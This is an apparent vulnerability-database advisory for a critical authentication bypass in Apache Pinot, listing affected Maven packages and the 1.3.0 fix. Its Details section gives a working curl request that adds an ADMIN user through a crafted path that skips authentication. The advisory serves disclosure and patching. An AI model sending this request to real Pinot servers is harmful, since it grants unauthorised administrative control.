VDB
Sign up
CRITICAL9.8

GHSA-6jwp-4wvj-6597

Apache Pinot Vulnerable to Authentication Bypass

Quick fix

GHSA-6jwp-4wvj-6597 — org.apache.pinot:pinot-broker: upgrade to the fixed version with the command below.

# pom.xml: bump <version>1.3.0</version> for org.apache.pinot:pinot-broker

Details

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/org.apache.pinot:pinot-broker
Introduced in: 0.8.0Fixed in: 1.3.0
Fix# pom.xml: bump <version>1.3.0</version> for org.apache.pinot:pinot-broker
Maven/org.apache.pinot:pinot-common
Introduced in: 0.8.0Fixed in: 1.3.0
Fix# pom.xml: bump <version>1.3.0</version> for org.apache.pinot:pinot-common
Maven/org.apache.pinot:pinot-controller
Introduced in: 0.8.0Fixed in: 1.3.0
Fix# pom.xml: bump <version>1.3.0</version> for org.apache.pinot:pinot-controller

References